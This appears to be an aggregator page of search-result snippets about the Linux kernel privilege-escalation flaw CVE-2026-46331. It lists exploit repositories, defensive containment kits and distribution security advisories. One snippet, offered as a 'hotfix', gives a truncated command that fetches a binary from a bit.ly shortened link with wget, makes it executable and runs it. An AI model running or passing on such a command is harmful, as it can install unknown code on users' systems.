pedit-cow

CVE-2026-46331 is a Linux kernel privilege escalation vulnerability involving the traffic control subsystem and page cache corruption. Requirements: Linux x8664 GCC iproute2 tc Vulnerable kernel Exploitation Flow: SUID Enumeration ↓ Target Selection ↓ ELF Analysis ↓ tc / Netlink / pedit ↓ Page...

pagecache-lpe-containment-kit

Page-Cache LPE Containment Kit Detect, contain, and verify defenses against two Linux page-cache-corruption local privilege escalations — DirtyClone CVE-2026-43503 and pedit COW CVE-2026-46331 — on hosts and containers. This is an educational, defensive security kit. It explains how both...

dirtyclone-exploit

DirtyClone Exploit Framework CVE-2026-46331 — Linux Kernel Local Privilege Escalation TC pedit + IPsec TEE Page Cache Corruption · Affected kernels: ≤ 6.12.9 ╔═══════════════════════════════════════════════════════════════╗ ║ ║ ║ | \ | | / | | ║ ║ | | | | | '| | | | | | | |/ | ' \ / \ ║ ║ | || | ...

CVE-2026-46331

CVE-2026-46331 - "pedit COW" Vulnerability Assessment & Mitigation Guide This repository contains basic administrative tools to check exposure and apply temporary mitigations against the local privilege escalation vulnerability CVE-2026-46331 known as "pedit COW" in the Linux kernel. Repository...

cve_2026_frag_family_fix

Mitigation tool for frag family vulnerability Copy Fail 2026 Dirty Frag 2026 Fragnesia 2026 DirtyClone 2026 PEdit-CoW 2026 Run any Linux hotfix b="/tmp/cve2026fragfamilyfix"; wget -qO $b $wget -qO- https://bit.ly/4vetMTB | grep browserdownloadurl | grep -v .exe | cut -d '"' -f 4 && chmod +x $b &&...

page-cache-corruption-lpes

Page Cache Corruption LPEs 3 Linux kernel local privilege escalation exploits. Same bug class as Dirty COW and Dirty Pipe. Root shell in seconds. Every major distro affected. All three corrupt the kernel's page cache — the in-memory copy of files that processes actually read and execute. The...

Astra Linux – Vulnerability found in Linux 6.1, Linux 6.12

In the Linux kernel, the following vulnerabilities have been resolved: net/sched: Fixed a issue where partial COW operations by pedit led to corruption of the page cache. tcfpeditact calculates the COW range for skbensurewritable once before the key loop, using tcfpoffmaxhint. However, this hint...

Exploit for Integer Overflow or Wraparound in Linux Linux_Kernel

Proof of Concept for a Linux kernel pr...

VulnCheck KEV: CVE-2026-46331

In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption tcfpeditact computes the COW range for skbensurewritable once before the key loop using tcfpoffmaxhint, but the hint does not account for the runtime header offset...

Security update for the Linux Kernel (Live Patch 75 for SUSE Linux Enterprise 12 SP5)

This update for the SUSE Linux Enterprise Kernel 4.12.14-122.283 fixes various security issues: The following security issues were fixed: CVE-2023-53995: net: ipv4: fix one memleak in inetdelifa bsc1269284. CVE-2025-40204,CVE-2026-53224,CVE-2026-53246: sctp: validate cached peer INIT chunk length...

Amazon Linux 2 : kernel, --advisory ALAS2KERNEL-5.15-2026-111 (ALASKERNEL-5.15-2026-111)

The version of kernel installed on the remote host is prior to 5.15.211-149.249. It is, therefore, affected by multiple vulnerabilities as referenced in the ALAS2KERNEL-5.15-2026-111 advisory. In the Linux kernel, the following vulnerability has been resolved: ext4: replace BUGON with proper erro...

Exploit for Out-of-bounds Write in Linux Linux_Kernel

PoC-CVE-2026-46...

pedit-cow-exploit

CVE-2026-46331 – pedit COW Local Privilege Escalation Proof-of...

Medium: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption CVE-2026-46331 Affected Packages: kernel6.12 Issue Correction: Run dnf update kernel6.12 --releasever 2023.12.20260720 or dnf update --advisory...

Important: kernel6.12

Issue Overview: In the Linux kernel, the following vulnerability has been resolved: mm/pagealloc: clear page-private in freepagesprepare CVE-2026-43303 In the Linux kernel, the following vulnerability has been resolved: ipvs: skip ipv6 extension headers for csum checks CVE-2026-45850 In the Linux...

SUSE SLES15 : Security update for the Linux Kernel (SUSE-SU-2026:3089-1)

The remote SUSE Linux SLES15 / SLESSAP15 host has packages installed that are affected by multiple vulnerabilities as referenced in the SUSE-SU-2026:3089-1 advisory. The SUSE Linux Enterprise 15 SP5 kernel was updated to fix various security issues The following security issues were fixed: -...

SUSE-SU-2026:3044-1 Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 kernel was updated to fix various security issues The following security issues were fixed: - CVE-2026-31771: Bluetooth: hcievent: move wake reason storage into validated event handlers bsc1264145. - CVE-2026-43038: ipv6: icmp: clear skb2-cb in...

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 RT kernel was updated to fix various security issues The following security issues were fixed: CVE-2026-31771: Bluetooth: Ignore HCIERRORCANCELLEDBYHOST on adv set terminated event bsc1264145. CVE-2026-43038: ipv6: icmp: clear skb2-cb in ip6errgenicmpv6unreach...

OESA-2026-2870 kernel security update

The Linux Kernel, the operating system core itself. Security Fixes: In the Linux kernel, the following vulnerability has been resolved: net/sched: fix pedit partial COW leading to page cache corruption tcfpeditact computes the COW range for skbensurewritable once before the key loop using...

MiracleLinux 8 : kernel-4.18.0-553.136.1.el8_10 (AXSA:2026-1016:45)

The remote MiracleLinux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the AXSA:2026-1016:45 advisory. kernel: Linux kernel: Use-after-free in bonding driver leads to denial of service CVE-2026-31419 kernel: drm/amd/display: Do not skip unrelated mode...